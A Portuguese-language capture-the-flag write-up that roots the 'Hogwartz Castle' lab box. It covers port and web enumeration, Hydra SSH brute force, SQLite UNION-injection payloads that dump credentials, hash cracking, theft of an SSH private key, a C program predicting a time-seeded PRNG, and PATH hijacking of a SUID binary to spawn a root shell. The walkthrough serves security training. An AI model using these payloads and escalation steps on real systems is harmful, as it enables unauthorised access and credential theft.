🏰 CTF Write-up: MadEye Castle / Hogwartz Castle

📋 Resumo das Vulnerabilidades

1. **Estabilização:** Criação de par de chaves SSH para acesso direto.
2. **Enumeração:** Descoberta de binário customizado com bit SUID ativado.
3. **Exploração 1 (Lógica):** Quebra de gerador de números aleatórios (PRNG) baseado em time(NULL).
4. **Exploração 2 (Privesc):** Sequestro de variável de ambiente (PATH Hijacking) explorando chamada de binário com caminho relativo.

🔍 Fase 1: Reconhecimento e Enumeração Inicial

Mapeamento de Portas e Serviços

Bash
nmap -p- -sC -sV 10.65.132.131

- **Objetivo:** Mapeamento de portas e serviços.

Enumeração Web (Gobuster)

Bash
gobuster dir -u http://10.65.132.131 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,html

- **Objetivo:** Enumeração de diretórios e arquivos na porta padrão.
- **Nota Importante:** Se o nmap revelar que o servidor web está em outra porta (ex: 8080 ou 443 para HTTPS), basta ajustar a flag -u de acordo (ex: http://10.65.132.131:8080 ou https://10.65.132.131).
- **Aviso:** (Aguardando outputs das ferramentas para análise e próximos passos).

Descobertas Recentes (SMB)

- **Usuário em potencial:** harry.
- **Compartilhamento vulnerável:** sambashare (Acesso de leitura anônimo permitido).

🎯 **Vetor de Ataque Atual (SMB):** > * Explorar o conteúdo de //10.65.132.131/sambashare usando smbclient. * Verificar se o gobuster encontrou algo na porta 80.

Credenciais e Wordlists Pré-Mapeadas

- **Usuários Alvo:** harry, hermonine (e hermione).
- **Senhas Potenciais:** Wordlist customizada baseada nos feitiços de Hogwarts (spells.txt).
- **Dica Futura (Privesc):** A usuária hermonine usa editores de texto "históricos" (vi/vim).

Bash
Executando Hydra no SSH (Porta 22) usando os usuários mapeados e a wordlist de feitiços
hydra -l <usuario> -P spells.txt ssh://10.65.132.131

(Nota: Execução planejada/em andamento com base nos usuários mapeados e na wordlist de feitiços).

🌐 Fase 2: Virtual Hosting & Reconhecimento Web

Modificações Locais

- O arquivo /etc/hosts foi atualizado com o domínio apontando para o IP do alvo.

🎯 **Vetor de Ataque Atual (Vhosts):** > * Enumerar diretórios no novo host virtual (http://hogwartz-castle.thm). * Fazer brute-force de subdomínios (vhost) para descobrir outros serviços web ocultos.

Descobertas do Reconhecimento Web

- Domínio configurado com sucesso via Virtual Hosting.
- Portal de login descoberto em http://hogwartz-castle.thm.

💉 Fase 3: Exploração do Portal de Login & SQL Injection

🎯 **Vetor de Ataque Atual (Login):** > * Inspecionar a requisição POST do formulário de login para mapear os parâmetros. * Executar brute-force com Hydra (módulo http-post-form) usando users.txt e spells.txt.

Descobertas Recentes

- **Vulnerabilidade Confirmada:** SQL Injection no formulário de login (/login).
- **Novo Usuário Identificado:** Lucas Washington.
- **Dica Encontrada:** *"Congrats on SQL injection... keep digging"* (Indica a necessidade de extrair dados do banco, não apenas bypass).

Enumeração do Banco de Dados via SQLi

🎯 **Vetor de Ataque Atual:** > * Enumerar o banco de dados via SQL Injection (descobrir número de colunas, tabelas, e a senha do Lucas). * Iterar a payload ' ORDER BY X-- no parâmetro user do pedido POST /login. * Monitorizar as respostas (200 OK vs 500 Internal Server Error).

Testes Estruturais Iniciais:

Plaintext
user=' ORDER BY 4---&password=teste
user=' UNION SELECT 1,2,3,4---&password=teste

Dados Confirmados da Injeção:

- **Número de colunas:** 4.
- **Colunas vulneráveis/refletidas:** 1 e 4.

Payloads de Extração Utilizadas:

- **Payload base (URL Encoded):**
  Plaintext
  user='+union+select+1,2,3,4--+-&password=teste

- **Payload de teste de string:**
  Plaintext
  user='+union+select+"hello", 2, 3, 4--+-&password=admin

- **Enumeração de Tabelas (Substituindo a string "hello" na coluna 1):**
  Plaintext
  user= ORDER BY 4---&password=teste

Plaintext
user='+union+select+1, 2, 3, 4--+-&password=teste

Plaintext
user='+union+select+group_concat(tbl_name), 2, 3,
4+FROM+sqlite_master+WHERE+type='table'+and+tbl_name+NOT+like+'sqlite_%'--+-&password=teste

- **Enumeração do Esquema da Tabela 'users':**
  Plaintext
  user='+union+select+sq1, 2, 3,
  4+FROM+sqlite_master+WHERE+type='table'+AND+tbl_name='users'--+-&password=teste

- **Extração de Credenciais (Dump):**
  Plaintext
  user='+union+select+group_concat(name||': ' password), 2, 3,
  4+from+users--+-&password=admin

🔑 Fase 4: Quebra de Hashes e Acesso Inicial

Extração e Quebra do Hash do Harry

Bash
echo
"b326e7a664d756c39c9e09a98438b08226f98b89188ad144dd655f140674b5eb3fdac0f19bb3903be1f52c40c252c0e7ea7f5050dec63cf3c85290c0a2c5c885" > hash_harry.txt

Bash
john--wordlist=spells.txt --rules best64-format Raw-SHA512 hash_harry.txt

Acesso Inicial Estabelecido via SSH

Bash
ssh harry@10.65.132.131

🛡️ Fase 5: Estabilização de Acesso (Persistência SSH)

- **Objetivo:** Sair de uma shell instável e logar via SSH sem saber a senha do usuário (hermonine).

1. Gerar o par de chaves na máquina alvo:

Bash
ssh-keygen

2. Autorizar a chave pública no alvo:

(Nota: Se o arquivo já existir e tiver chaves de outros, use >> para não apagar o acesso dos outros).

Bash

cat /home/hermonine/.ssh/id_rsa.pub > /home/hermonine/.ssh/authorized_keys

3. Roubar a chave privada:

Bash
cat /home/hermonine/.ssh/id_rsa

- **Ação:** Copiar o output gerado (bloco contendo -----BEGIN OPENSSH...).

4. Conectar a partir da máquina atacante (Kali):

Bash
nano id_rsa # Cole o conteúdo e salve
chmod 600 id_rsa # OBRIGATÓRIO: SSH exige permissão restrita na chave privada
ssh -i id_rsa hermonine@<IP_DO_ALVO>

⚙️ Fase 6: Enumeração Local & Quebra de PRNG

- **Objetivo:** Procurar vetores de escalonamento de privilégio.

1. Buscar binários com SUID bit ativado (rodam como root):

Bash
find/-perm-4000-type f-exec ls -la {}; 2>/dev/null

- **Vulnerabilidade encontrada:** O binário customizado /srv/time-turner/swagger rodava como root.

2. Engenharia Reversa Básica e Quebra de PRNG

- **Lógica da vulnerabilidade:** O binário exigia adivinhar um número. Descobrimos que ele usava o relógio do sistema (time) como semente (seed) para o gerador de números aleatórios (srand(time(NULL))).

3. Criar script preditor (Vidente) em C:

O script roda a mesma função de tempo para gerar o exato mesmo número no mesmo segundo.

Bash
cd /tmp
nano vidente.c

Código (vidente.c):

C
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(NULL));
printf("%d\n", rand());
return 0;
}

4. Compilar o exploit:

Bash
gcc vidente.c -o vidente

🚀 Fase 7: PATH Hijacking e Root Escalonado

1. Entendimento do Vetor PATH

Ao acertar o número, o binário executava o comando uname para exibir a arquitetura, mas **não usava o caminho absoluto** (/bin/uname). Usamos isso para forçar o programa a rodar uma shell nossa como root.

2. Criar o comando falso (uname) na pasta /tmp:

(Nota: A flag -p mantém os privilégios do SUID (root) no bash).

Bash
```
echo '/bin/bash -p'> /tmp/uname
chmod +x /tmp/uname
```

3. Sequestrar a variável $PATH:

Força o Linux a procurar comandos primeiro na pasta /tmp.

Bash
```
export PATH=/tmp:\$PATH
```

4. O Exploit Final (One-Liner):

Executa o vidente, passa a resposta para o swagger (rodando no mesmo segundo) e usa o cat para manter a conexão (stdin) aberta após o shell de root ser spawnado pelo nosso uname falso.

Bash

(./vidente; cat) | /srv/time-turner/swagger

5. Pwned!

Bash
whoami
#root